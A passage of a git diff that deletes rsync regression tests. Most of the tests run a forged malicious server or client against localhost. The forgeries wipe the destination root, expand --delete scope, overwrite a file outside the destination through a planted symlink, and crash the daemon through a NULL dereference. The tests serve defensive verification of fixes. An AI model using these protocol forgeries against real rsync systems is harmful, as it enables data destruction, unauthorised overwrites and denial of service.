0o2750)\n-finally:\n-    os.close(fd)\n-if mode(fdprobe) != 0o750:\n-    test_skipped(\"descriptor chmod does not preserve the legacy mkdir semantics\")\n-\n-src = base / \"src\"\n-dest = base / \"dest\"\n-src.mkdir(mode=0o755)\n-(src / \"child\").mkdir(mode=0o755)\n-(src / \"child\" / \"payload\").write_text(\"ordinary-mode-preserved\\n\")\n-\n-proc = subprocess.run(\n-    rsync_argv(\"-a\", \"--chmod=D2750,F0640\", str(src) + \"/\", str(dest) + \"/\"),\n-    text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-)\n-observed = (mode(dest), mode(dest / \"child\"))\n-if proc.returncode != 0 or observed != (0o750, 0o750):\n-    test_fail(\n-        \"setgid failure discarded requested ordinary directory permissions: \"\n-        f\"rc={proc.returncode}, root/child modes={tuple(oct(v) for v in observed)}, \"\n-        f\"output={proc.stdout!r}\"\n-    )\n-\n-print(\"PASS: ungrantable setgid did not discard the requested 0750 mode\")\ndiff --git a/testsuite/malicious-dot-dir-delete-scope_test.py b/testsuite/malicious-dot-dir-delete-scope_test.py\ndeleted file mode 100644\nindex e6d9e07..0000000\n--- a/testsuite/malicious-dot-dir-delete-scope_test.py\n+++ /dev/null\n@@ -1,98 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A malicious pull server must not enlarge --delete to the transfer root.\n-\n-For a scoped single-file pull, the synthetic ``.`` entry is not part of the\n-requested source.  The receiver nevertheless exempts it from its requested-name\n-filter.  A hostile sender can encode it as a top-level content directory and\n-make the generator run delete_in_dir(\".\"), sweeping receiver-owned siblings.\n-\"\"\"\n-\n-import socket\n-import subprocess\n-import threading\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, rmtree, rsync_argv,\n-    test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 13014\n-\n-require_tcp(\"the malicious sender needs a real TCP socket; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'malicious-dot-dir-delete-scope'\n-rmtree(base)\n-dest = base / 'dest'\n-makepath(dest / 'private')\n-sentinel = dest / 'private' / 'must-survive'\n-sentinel.write_text('receiver-owned file outside the requested leaf\\n')\n-\n-# Control the intended scope: an honest single-file source with identical\n-# receiver options does not make --delete recurse over destination siblings.\n-honest_src = base / 'honest-src'\n-makepath(honest_src)\n-(honest_src / 'requested').write_text('honest source\\n')\n-control = subprocess.run(\n-    rsync_argv('-r', '--delete', '--no-inc-recursive',\n-               str(honest_src / 'requested'), str(dest) + '/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=30)\n-if control.returncode or not sentinel.exists():\n-    test_fail('native --delete single-file control unexpectedly swept the '\n-              f'destination root:\\n{control.stdout}{control.stderr}')\n-\n-lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-lsock.bind(('127.0.0.1', PORT))\n-lsock.listen(1)\n-lsock.settimeout(30)\n-state = {}\n-\n-\n-def serve():\n-    try:\n-        csock, _ = lsock.accept()\n-        s = rp.DaemonReceiver(csock)\n-        s.handshake()\n-\n-        # XMIT_TOP_DIR without XMIT_NO_CONTENT_DIR maps the synthetic dot to\n-        # FLAG_CONTENT_DIR.  \"requested\" is the only name the client asked for.\n-        flist = (\n-            rp.FileEntry('.', mode=rp.S_IFDIR | 0o755,\n-                         extra_flags=rp.XMIT_TOP_DIR).encode()\n-            + rp.FileEntry('requested', mode=rp.S_IFREG | 0o644,\n-                           length=0).encode()\n-            + rp.end_of_flist(0, s.protocol)\n-        )\n-        # No file bytes are needed: delete_in_dir(\".\") runs in the generator\n-        # before the transfer response is consumed.\n-        s.send_data(flist + s.w_ndx(rp.NDX_DONE) * 3)\n-        s.drain(timeout=5)\n-        s.close()\n-    except Exception as exc:  # noqa: BLE001 - reported below\n-        state['err'] = repr(exc)\n-\n-\n-t = threading.Thread(target=serve, daemon=True)\n-t.start()\n-try:\n-    proc = subprocess.run(\n-        rsync_argv('-r', '--delete', '--no-inc-recursive',\n-                   f'rsync://127.0.0.1:{PORT}/mod/requested', str(dest) + '/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=30)\n-finally:\n-    t.join(timeout=10)\n-    lsock.close()\n-\n-if not sentinel.exists():\n-    test_fail(\n-        'malicious sender marked the exempt synthetic dot as a content '\n-        'directory and expanded a scoped single-file --delete to the entire '\n-        'destination root')\n-if state.get('err'):\n-    test_fail(f\"Python sender failed before exercising receiver: {state['err']}\\n\"\n-              f\"receiver output:\\n{proc.stdout}{proc.stderr}\")\n-\n-print('malicious-dot-dir-delete-scope: receiver did not let a forged dot '\n-      'content directory expand --delete beyond the requested leaf')\ndiff --git a/testsuite/malicious-dot-file-delete-scope_test.py b/testsuite/malicious-dot-file-delete-scope_test.py\ndeleted file mode 100644\nindex 7d705c2..0000000\n--- a/testsuite/malicious-dot-file-delete-scope_test.py\n+++ /dev/null\n@@ -1,94 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A malicious sender must not reinterpret the destination root as a file.\n-\n-The receiver permits the synthetic \".\" entry as a top-level directory even\n-when an implied-file filter restricts the requested source.  This server sends\n-that special name with regular-file mode.  Under --force, replacing it must not\n-recursively empty the receiver's destination root.  No --delete is requested.\n-\"\"\"\n-\n-import socket\n-import subprocess\n-import threading\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, rmtree, rsync_argv,\n-    test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 13012\n-\n-require_tcp(\"the malicious sender needs a real TCP socket; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'malicious-dot-file-delete-scope'\n-rmtree(base)\n-dest = base / 'dest'\n-makepath(dest / 'private')\n-sentinel = dest / 'private' / 'must-survive'\n-sentinel.write_text('receiver-owned file outside the requested leaf\\n')\n-\n-# Native control: the same scoped single-file transfer with --force does not\n-# touch receiver-owned siblings when the sender encodes the requested leaf\n-# honestly.  This distinguishes the attack from documented --force semantics.\n-honest_src = base / 'honest-src'\n-makepath(honest_src)\n-(honest_src / 'requested').write_text('honest source\\n')\n-control = subprocess.run(\n-    rsync_argv('-r', '--force', '--no-inc-recursive',\n-               str(honest_src / 'requested'), str(dest) + '/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=30)\n-if control.returncode or not sentinel.exists():\n-    test_fail('native --force single-file control unexpectedly touched the '\n-              f'destination scope:\\n{control.stdout}{control.stderr}')\n-\n-lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-lsock.bind(('127.0.0.1', PORT))\n-lsock.listen(1)\n-lsock.settimeout(30)\n-state = {}\n-\n-\n-def serve():\n-    try:\n-        csock, _ = lsock.accept()\n-        s = rp.DaemonReceiver(csock)\n-        s.handshake()\n-\n-        # \".\" is the receiver's synthetic transfer-root entry and is exempted\n-        # from its requested-name filter.  Forge it as a regular file instead\n-        # of the only legitimate representation: a directory.\n-        s.send_data(\n-            rp.FileEntry('.', mode=rp.S_IFREG | 0o644, length=0).encode()\n-            + rp.end_of_flist(0, s.protocol)\n-            + s.w_ndx(rp.NDX_DONE) * 3\n-        )\n-        s.drain(timeout=5)\n-        s.close()\n-    except Exception as exc:  # noqa: BLE001 - reported below\n-        state['err'] = repr(exc)\n-\n-\n-t = threading.Thread(target=serve, daemon=True)\n-t.start()\n-try:\n-    proc = subprocess.run(\n-        rsync_argv('-r', '--force', '--no-inc-recursive',\n-                   f'rsync://127.0.0.1:{PORT}/mod/requested', str(dest) + '/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=30)\n-finally:\n-    t.join(timeout=10)\n-    lsock.close()\n-\n-if not sentinel.exists():\n-    test_fail(\n-        'malicious sender encoded the special \".\" root as a regular file and '\n-        'made --force recursively erase the destination root')\n-if state.get('err'):\n-    test_fail(f\"Python sender failed before exercising receiver: {state['err']}\\n\"\n-              f\"receiver output:\\n{proc.stdout}{proc.stderr}\")\n-\n-print('malicious-dot-file-delete-scope: receiver rejected a non-directory '\n-      'encoding of its synthetic transfer-root entry')\ndiff --git a/testsuite/malicious-sender-delete-scope_test.py b/testsuite/malicious-sender-delete-scope_test.py\ndeleted file mode 100644\nindex fcd1fde..0000000\n--- a/testsuite/malicious-sender-delete-scope_test.py\n+++ /dev/null\n@@ -1,188 +0,0 @@\n-#!/usr/bin/env python3\n-# Malicious daemon-sender expands --delete scope by flipping an implied\n-# parent into a content-dir.\n-#\n-# Threat (Mitchell Benjamin report, May 2026; PoC 3):\n-#   With `rsync -rR --delete rsync://host/m/dir/file dest/`, the client\n-#   requests a single relative path.  The sender's honest flow encodes\n-#   implied parents with XMIT_TOP_DIR|XMIT_NO_CONTENT_DIR (flist.c:415\n-#   in send_file_entry).  A malicious daemon-sender that omits\n-#   XMIT_NO_CONTENT_DIR on the implied parent \"dir\" makes the receiver\n-#   set FLAG_CONTENT_DIR (flist.c:1095), and the generator then calls\n-#   delete_in_dir(\"dest/dir\") under --delete, sweeping pre-existing\n-#   siblings the receiver expected to keep.\n-#\n-#   The receiver-side fix (this branch) downgrades implied-parent dirs\n-#   to non-content regardless of the sender's xflags byte, so\n-#   delete_in_dir cannot run on a directory the implied_filter_list\n-#   only knows as a parent.\n-#\n-# Test approach (Mitchell's PoC 3 adapted):\n-#   We don't need a fake-daemon-protocol speaker.  Instead, build a\n-#   \"malicious rsync\" out of the same source tree by doing a one-line\n-#   substring replacement in flist.c that strips XMIT_NO_CONTENT_DIR\n-#   from the implied-parent encoding, then run the patched binary as\n-#   the daemon-sender and the production rsync (the one under test)\n-#   as the receiver.  The receiver-side fix is what we're verifying.\n-#\n-#   Honest-sender baseline (the production rsync as daemon-sender)\n-#   exists implicitly: every other -rR --delete test in the suite\n-#   already exercises that path, so we don't repeat it here.  The\n-#   patched-rsync arm is the one signal that distinguishes RED from\n-#   GREEN.\n-#\n-# Build cost:\n-#   make(1) is invoked inside a copied source tree, ~10-30s.  We skip\n-#   the test cleanly if SRCDIR isn't a writable build tree (e.g. when\n-#   running an installed rsync from a binary package via --rsync-bin).\n-#\n-# Outcome:\n-#   * dest/dir/keep.txt SURVIVES the pull -> fix is in place (PASS).\n-#   * dest/dir/keep.txt is DELETED -> bug present (FAIL with leak\n-#     diagnostic).\n-\n-import os\n-import shlex\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, SRCDIR, makepath, rmtree, rsync_argv,\n-    test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-# Sanity gates ---------------------------------------------------------------\n-# Need a writable source tree we can copy and `make rsync` in.\n-if not (SRCDIR / 'flist.c').is_file() or not (SRCDIR / 'Makefile').is_file():\n-    test_skipped(\"malicious-sender-delete-scope: needs a writable rsync \"\n-                 f\"source tree at SRCDIR={SRCDIR} with Makefile + flist.c; \"\n-                 \"the patched-sender build relies on it.\")\n-if not shutil.which('make'):\n-    test_skipped(\"malicious-sender-delete-scope: make(1) not on PATH\")\n-if not shutil.which('gcc') and not shutil.which('cc'):\n-    test_skipped(\"malicious-sender-delete-scope: no C compiler on PATH\")\n-\n-\n-# -- Build the malicious sender ---------------------------------------------\n-# flist.c send_implied_dirs() sets up the flags an implied-parent will be\n-# encoded with via the FLAG_IMPLIED_DIR branch of send_file_entry's xflags\n-# computation (line ~415).  Strip XMIT_NO_CONTENT_DIR from that one\n-# assignment so the implied parent is sent with XMIT_TOP_DIR ALONE.  Every\n-# other encoding path is unchanged, so the resulting daemon-sender is\n-# honest about everything except the implied-parent encoding -- which is\n-# exactly the threat model.\n-mal_src = SCRATCHDIR / 'mal-rsync'\n-rmtree(mal_src)\n-try:\n-    shutil.copytree(SRCDIR, mal_src, symlinks=True,\n-                    ignore=shutil.ignore_patterns('testtmp', '.git', 'auto-build-save'))\n-except shutil.Error as e:\n-    # Cygwin's python 3.9 has os.listxattr, and copystat() on a fresh symlink\n-    # fails with EACCES there.  The link itself was created, so only a\n-    # non-symlink error means the copy is incomplete.\n-    if any(not (os.path.islink(src) and os.path.islink(dst))\n-           for src, dst, _why in e.args[0]):\n-        raise\n-\n-flist_c = mal_src / 'flist.c'\n-PATCH_OLD = \"xflags = XMIT_TOP_DIR | XMIT_NO_CONTENT_DIR;\"\n-PATCH_NEW = \"xflags = XMIT_TOP_DIR; /* malicious-sender PoC: drop NO_CONTENT_DIR */\"\n-text = flist_c.read_text()\n-if PATCH_OLD not in text:\n-    test_skipped(\n-        \"malicious-sender-delete-scope: could not find the implied-parent \"\n-        \"encoding literal in flist.c -- upstream rename?  Looking for: \"\n-        f\"{PATCH_OLD!r}.  Update PATCH_OLD in this test if the assignment \"\n-        \"changed shape.\")\n-flist_c.write_text(text.replace(PATCH_OLD, PATCH_NEW, 1))\n-\n-# Build just the rsync binary in the copied tree.  The copy includes\n-# config.h / Makefile so configure has already been done.  Suppress\n-# stdout/stderr because a clean rebuild produces several screens of gcc\n-# output that aren't useful here.\n-build = subprocess.run(['make', '-j2', 'rsync'], cwd=str(mal_src),\n-                       stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-                       text=True)\n-mal_rsync = mal_src / 'rsync'\n-if build.returncode != 0 or not mal_rsync.is_file() or not os.access(mal_rsync, os.X_OK):\n-    test_skipped(\n-        \"malicious-sender-delete-scope: malicious-sender build failed.  \"\n-        f\"`make rsync` rc={build.returncode}.  Tail of build output:\\n\"\n-        + '\\n'.join(build.stdout.splitlines()[-20:]))\n-\n-\n-# -- Set up source + dest, with the sentinel ----------------------------------\n-base = SCRATCHDIR / 'mal-test'\n-rmtree(base)\n-src = base / 'src'\n-dest = base / 'dest'\n-makepath(src / 'dir')\n-makepath(dest / 'dir')\n-(src / 'dir' / 'file').write_text(\"from server\\n\")\n-sentinel = dest / 'dir' / 'keep.txt'\n-sentinel.write_text(\"MUST_STAY\\n\")\n-\n-\n-# -- Wire up the malicious daemon via RSYNC_CONNECT_PROG ----------------------\n-# The runtests.py secure-default daemon transport uses RSYNC_CONNECT_PROG\n-# to fork a daemon over a private stdio pipe instead of binding a TCP\n-# socket.  That seam lets us point the production rsync (the receiver)\n-# at the malicious binary as its daemon-sender without ever touching a\n-# listening port -- which also keeps the test compatible with the\n-# concurrent-j16 runner.\n-conf = write_daemon_conf(\n-    [('m', {'path': str(src),\n-            'read only': 'yes',\n-            'use chroot': 'no'})],\n-    name='mal-rsyncd.conf')\n-os.environ['RSYNC_CONNECT_PROG'] = f'{shlex.quote(str(mal_rsync))} --config={shlex.quote(str(conf))} --daemon'\n-\n-\n-# -- The attack pull: -rR --delete from the malicious daemon -----------------\n-# The receiver is the production rsync (which on the fix branches carries\n-# the implied-parent downgrade).  Use --debug=del2 so we can grep the\n-# output for delete_in_dir() if we need to triangulate a failure later.\n-url = 'rsync://localhost/m/dir/file'\n-proc = subprocess.run(\n-    rsync_argv('-rR', '--delete', '--debug=del2', url, str(dest) + '/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-\n-# -- The oracle --------------------------------------------------------------\n-# With the FIX: receiver recognises \"dir\" as an implied-parent-only entry,\n-# forces XMIT_NO_CONTENT_DIR back into the xflags before flag mapping, so\n-# FLAG_CONTENT_DIR is never set; delete_in_dir() never runs on dir;\n-# sentinel survives.\n-#\n-# Without the FIX: receiver trusts the malicious xflags byte, sets\n-# FLAG_CONTENT_DIR on \"dir\", generator runs delete_in_dir(\"dest/dir\"),\n-# sweeps every entry that wasn't in the sender's list, sentinel is gone.\n-if not sentinel.is_file():\n-    debug_tail = '\\n'.join(proc.stdout.splitlines()[-30:])\n-    test_fail(\n-        f\"malicious daemon-sender expanded --delete scope: \"\n-        f\"{sentinel} was deleted by the receiver.  This means the \"\n-        \"implied parent 'dir' was flagged FLAG_CONTENT_DIR on the basis \"\n-        \"of the sender's xflags byte (XMIT_TOP_DIR without \"\n-        \"XMIT_NO_CONTENT_DIR), and delete_in_dir() ran on dest/dir.  \"\n-        \"Fix: the receiver must force XMIT_NO_CONTENT_DIR on any \"\n-        \"directory entry that implied_filter_list only allowed as a \"\n-        \"parent (flist.c recv_file_entry).  Last 30 lines of receiver \"\n-        f\"output:\\n{debug_tail}\")\n-\n-# Also assert the file the sender legitimately offered did arrive --\n-# without this, a daemon that crashed before sending anything would also\n-# leave the sentinel alone and we'd false-pass.\n-delivered = dest / 'dir' / 'file'\n-if not delivered.is_file():\n-    test_fail(\n-        f\"sentinel survived but the malicious daemon didn't deliver \"\n-        f\"{delivered} either -- the test is vacuous.  Receiver rc=\"\n-        f\"{proc.returncode}.  Output tail:\\n\"\n-        + '\\n'.join(proc.stdout.splitlines()[-20:]))\n-\n-print(\n-    f\"malicious-sender-delete-scope: receiver refused to expand --delete \"\n-    f\"scope under a malicious sender that omitted XMIT_NO_CONTENT_DIR on \"\n-    f\"the implied parent.  {sentinel.name} survived, \"\n-    f\"{delivered.relative_to(dest)} delivered.\")\ndiff --git a/testsuite/malicious-server-partial-basis-symlink-overwrite_test.py b/testsuite/malicious-server-partial-basis-symlink-overwrite_test.py\ndeleted file mode 100644\nindex dae3c93..0000000\n--- a/testsuite/malicious-server-partial-basis-symlink-overwrite_test.py\n+++ /dev/null\n@@ -1,231 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A malicious pull server must not redirect an in-place partial update.\n-\n-Protocol-30 peers advertise support for updating a partial basis in place.  The\n-sender controls the response's basis-type byte.  A relative --partial-dir path\n-contains peer-named components, so treating the entire path as operator-trusted\n-lets a server-planted, receiver-owned symlink redirect the basis/output open to\n-an arbitrary client-local file outside the destination.\n-\"\"\"\n-\n-import hashlib\n-import os\n-import socket\n-import struct\n-import subprocess\n-import threading\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, rmtree, rsync_argv,\n-    test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 13153\n-CF_INPLACE_PARTIAL_DIR = 1 << 6\n-FNAMECMP_PARTIAL_DIR = 0x81\n-PAYLOAD = b'MALICIOUS-SERVER-OVERWRITE\\n'\n-ORIGINAL = b'CLIENT-LOCAL-OUTSIDE-VICTIM\\n'\n-\n-require_tcp('the malicious sender needs a real TCP socket; run with --use-tcp')\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'malicious-server-partial-basis-symlink-overwrite'\n-rmtree(base)\n-dest = base / 'dest'\n-outside = base / 'outside'\n-makepath(dest / 'escape', outside)\n-victim = outside / 'victim'\n-victim.write_bytes(ORIGINAL)\n-\n-# This symlink can be left by the same pull server in an earlier transfer.  It\n-# is owned by the receiver's euid, which is trusted by operator-path resolution\n-# but must not be trusted for the peer-derived tail of a partial-dir path.\n-partial_link = dest / 'escape' / '.rsync-partial'\n-os.symlink(str(outside), partial_link)\n-if os.lstat(partial_link).st_uid != os.geteuid():\n-    test_fail('setup did not create a receiver-euid-owned partial-dir symlink')\n-\n-lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-lsock.bind(('127.0.0.1', PORT))\n-lsock.listen(1)\n-lsock.settimeout(30)\n-state = {}\n-\n-\n-def serve():\n-    try:\n-        csock, _ = lsock.accept()\n-        peer = rp.DaemonReceiver(csock)\n-        peer.handshake(compat_flags=CF_INPLACE_PARTIAL_DIR)\n-        # The helper intentionally leaves the client argv unread because most\n-        # malicious-server tests do not need the reverse stream.  Consume its\n-        # NUL-separated argv here so we can inspect the later multiplexed\n-        # generator request and prove that the response is solicited.\n-        nul_run = 0\n-        while nul_run < 2:\n-            b = peer._recv_exact(1)\n-            nul_run = nul_run + 1 if b == b'\\0' else 0\n-        parent = rp.FileEntry(\n-            'escape', mode=rp.S_IFDIR | 0o755,\n-            extra_flags=rp.XMIT_TOP_DIR | rp.XMIT_NO_CONTENT_DIR,\n-            modtime=1700000000,\n-        )\n-        entry = rp.FileEntry(\n-            'escape/victim', mode=rp.S_IFREG | 0o644,\n-            length=len(PAYLOAD), modtime=1700000000,\n-        )\n-        peer.send_data(parent.encode() + entry.encode() + rp.end_of_flist())\n-\n-        # Wait for the client's generator to request this exact file, and\n-        # read the request properly rather than hunting for a byte pattern:\n-        # the generator first sends its filter list (rsync auto-adds a\n-        # perishable exclude for the partial dir, \"-p .rsync-partial/\"), and\n-        # only then the index and its item flags.\n-        #\n-        # Which basis the generator names varies between environments, and\n-        # both outcomes are worth driving:\n-        #\n-        #   * no ITEM_BASIS_TYPE_FOLLOWS -- it asked for a plain new-file\n-        #     transfer, so the forged response below SUBSTITUTES a partial\n-        #     basis it never requested.  That is the unbound-basis-type bug.\n-        #   * ITEM_BASIS_TYPE_FOLLOWS + FNAMECMP_PARTIAL_DIR -- it noticed the\n-        #     planted partial file and asked for that basis itself, so the\n-        #     response is no longer substituting anything and the test instead\n-        #     proves the receiver CONFINES a basis it did request.\n-        #\n-        # Either way the receiver must not follow the symlink, which is what\n-        # the assertions after the transfer check.  Anything else named as the\n-        # basis means the fixture changed under us and is a failure.\n-        # DaemonReceiver speaks the raw socket; the de-multiplexing and the\n-        # primitive reads live on DaemonClient, so spell the few we need here.\n-        mux = bytearray()\n-\n-        def read_data(n):\n-            while len(mux) < n:\n-                word = struct.unpack('<I', peer._recv_exact(4))[0]\n-                payload = peer._recv_exact(word & 0xFFFFFF)\n-                if (word >> 24) - rp.MPLEX_BASE == rp.MSG_DATA:\n-                    mux.extend(payload)\n-                # anything else is a log/info frame: not part of the stream\n-            out = bytes(mux[:n])\n-            del mux[:n]\n-            return out\n-\n-        def r_int():\n-            return struct.unpack('<i', read_data(4))[0]\n-\n-        def r_shortint():\n-            return struct.unpack('<H', read_data(2))[0]\n-\n-        def r_byte():\n-            return read_data(1)[0]\n-\n-        def r_ndx():\n-            # io.c read_ndx() at protocol >= 30, for the first positive index\n-            # only: this reads one request and never resumes, so it needs no\n-            # running previous-index state.\n-            b0 = read_data(1)[0]\n-            if b0 == 0:\n-                raise RuntimeError('generator sent NDX_DONE before requesting '\n-                                   'anything')\n-            if b0 == 0xFF:\n-                raise RuntimeError('generator sent a negative index first')\n-            if b0 == 0xFE:\n-                b = read_data(2)\n-                if b[0] & 0x80:\n-                    rest = read_data(2)\n-                    return (((b[0] & 0x7F) << 24) | b[1]\n-                            | (rest[0] << 8) | (rest[1] << 16))\n-                return (b[0] << 8) + b[1] - 1\n-            return b0 - 1\n-\n-        peer.sock.settimeout(10)\n-        try:\n-            # The filter list: int32 length + payload, terminated by a zero.\n-            while True:\n-                n = r_int()\n-                if n == 0:\n-                    break\n-                if not 0 < n <= 4096:\n-                    raise RuntimeError(f'implausible filter-rule length {n}')\n-                read_data(n)\n-\n-            ndx = r_ndx()\n-            if ndx != 1:\n-                raise RuntimeError(f'generator asked for index {ndx}, not 1')\n-            iflags = r_shortint()\n-            if not (iflags & rp.ITEM_TRANSFER):\n-                raise RuntimeError(\n-                    f'generator did not ask to transfer index 1 '\n-                    f'(item flags 0x{iflags:04x})')\n-            requested_basis = rp.FNAMECMP_FNAME\n-            if iflags & rp.ITEM_BASIS_TYPE_FOLLOWS:\n-                requested_basis = r_byte()\n-                if requested_basis != FNAMECMP_PARTIAL_DIR:\n-                    raise RuntimeError(\n-                        'generator named basis type '\n-                        f'0x{requested_basis:02x}, expected either none or '\n-                        f'FNAMECMP_PARTIAL_DIR (0x{FNAMECMP_PARTIAL_DIR:02x})')\n-            if iflags & rp.ITEM_XNAME_FOLLOWS:\n-                ln = r_byte()\n-                if ln == 0xFF:\n-                    ln = r_byte() + 0x80\n-                read_data(ln)\n-        except TimeoutError as exc:\n-            raise RuntimeError(\n-                'generator never requested index 1'\n-            ) from exc\n-\n-        response = bytearray()\n-        response += peer.w_ndx(1)\n-        response += rp.w_shortint(\n-            rp.ITEM_TRANSFER | rp.ITEM_BASIS_TYPE_FOLLOWS)\n-        response += rp.w_byte(FNAMECMP_PARTIAL_DIR)\n-        response += rp.w_sum_head(0, 0, 0, 0)\n-        response += rp.w_int(len(PAYLOAD)) + PAYLOAD\n-        response += rp.w_int(0)\n-        response += hashlib.md5(PAYLOAD).digest()\n-        response += peer.w_ndx(rp.NDX_DONE)\n-        response += peer.w_ndx(rp.NDX_DONE)\n-        response += peer.w_ndx(rp.NDX_DONE)\n-        peer.send_data(response)\n-        time.sleep(2)\n-        peer.close()\n-    except Exception as exc:  # noqa: BLE001\n-        state['err'] = repr(exc)\n-\n-\n-thread = threading.Thread(target=serve, daemon=True)\n-thread.start()\n-proc = subprocess.run(\n-    rsync_argv('-R', '--no-implied-dirs', '--partial-dir=.rsync-partial',\n-               '--no-whole-file',\n-               f'rsync://127.0.0.1:{PORT}/mod/', str(dest) + '/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=20,\n-)\n-thread.join(timeout=5)\n-lsock.close()\n-\n-output = (proc.stdout or '') + (proc.stderr or '')\n-if state.get('err'):\n-    test_fail(f'Python sender failed: {state[\"err\"]}\\n{output}')\n-if not victim.exists():\n-    test_fail(\n-        'malicious pull server made partial-basis cleanup follow a '\n-        'receiver-owned symlink and delete an arbitrary client-local file '\n-        'outside the destination tree'\n-    )\n-after = victim.read_bytes()\n-if after == PAYLOAD:\n-    test_fail(\n-        'malicious pull server made an in-place partial-basis update follow '\n-        'a receiver-owned symlink and overwrite an arbitrary client-local '\n-        'file outside the destination tree'\n-    )\n-if after != ORIGINAL:\n-    test_fail(f'outside victim changed unexpectedly: {after!r}\\n{output}')\n-\n-print('malicious-server-partial-basis-symlink-overwrite: outside victim survived')\ndiff --git a/testsuite/match-append-empty-nullmap_test.py b/testsuite/match-append-empty-nullmap_test.py\ndeleted file mode 100644\nindex ca4c802..0000000\n--- a/testsuite/match-append-empty-nullmap_test.py\n+++ /dev/null\n@@ -1,84 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a NULL-pointer deref in match_sums() (match.c): in\n-# daemon-as-sender mode, send_files() leaves mbuf == NULL for an empty served\n-# file (st.st_size == 0). For append_mode == 2 (--append-verify), match_sums()\n-# runs a verify loop driven by s->flength, which receive_sums() derives from the\n-# peer's sum header (count * blength) -- NOT the daemon's own flist size. The\n-# diminished-file guard compares st.st_size against F_LENGTH(file) (both 0), so\n-# it does not catch a peer that claims a non-empty length.\n-#\n-# A hostile client pulls an EMPTY module file with --append-verify and forges a\n-# sum header of count=1, blength=1 (remainder=0) -> s->flength = 1. The\n-# append_mode==2 loop then calls sum_update(map_ptr(NULL, 0, 1), 1), and\n-# map_ptr() (len != 0) dereferences the NULL map -- a remote unauthenticated SEGV\n-# of the per-connection daemon child.  (receive_sums() returns early in append\n-# mode, so no block sums follow the header.)  The fix clamps s->flength to len\n-# before the verify loop.\n-#\n-# Oracle: pre-fix -> the daemon child hits an ASan SEGV report; fixed -> none.\n-# Needs an ASan build + a real TCP daemon, and is skipped otherwise.\n-\n-import glob\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_asan, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12952\n-require_tcp(\"the pure-Python generator needs a real TCP daemon; run with --use-tcp\")\n-require_asan(\"the append-mode NULL map_ptr deref is observed via the daemon's \"\n-            \"AddressSanitizer SEGV report\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'append-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-(mod / 'f').write_bytes(b'')          # empty file => mbuf is NULL on the sender\n-\n-conf = SCRATCHDIR / 'append.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/append-rsyncd.pid\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-\n-asan_log = SCRATCHDIR / 'append-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-prev = os.environ.get('ASAN_OPTIONS', '')\n-os.environ['ASAN_OPTIONS'] = (\n-    (prev + ':' if prev else '') + f'detect_leaks=0:abort_on_error=1:log_path={asan_log}')\n-\n-start_rsyncd(conf, PORT)\n-\n-c = rp.DaemonClient('127.0.0.1', PORT)\n-# --append-verify => the daemon sender runs with append_mode == 2.\n-c.handshake('mod', ['--server', '--sender', '-e.LsfxCIu', '--append-verify',\n-                    '.', 'mod/f'], greeting_version=30)\n-entries = rp.sort_entries(c.recv_flist(preserve_links=False))\n-ndx = next(i for i, e in enumerate(entries) if e.name == b'f')\n-\n-# Forged sum header claiming a non-empty verified prefix (flength = 1*1 = 1)\n-# against the empty file.  In append mode receive_sums() returns after the\n-# header, so no block sums follow.\n-req = (c.w_ndx(ndx) + rp.w_shortint(rp.ITEM_TRANSFER)\n-       + rp.w_sum_head(1, 1, 0, 0))\n-c.send_data(req)\n-c.send_data(c.w_ndx(rp.NDX_DONE))     # trailing data so the header read completes\n-c.drain(timeout=3.0)\n-c.close()\n-\n-reports = glob.glob(f\"{asan_log}.*\")\n-text = ''.join(open(r, errors='replace').read() for r in reports)\n-if 'AddressSanitizer' in text:\n-    test_fail(\n-        \"daemon sender hit an AddressSanitizer error on a forged append-mode sum \"\n-        \"header against an empty file -- s->flength was taken from the peer and \"\n-        \"the append verify loop dereferenced the NULL map:\\n\" + text[:1500])\n-\n-print(\"match-append-empty-nullmap: forged append-mode flength is clamped to the \"\n-      \"local length; no NULL-deref in match_sums.\")\ndiff --git a/testsuite/match-want-i-nolen_test.py b/testsuite/match-want-i-nolen_test.py\ndeleted file mode 100644\nindex af809c8..0000000\n--- 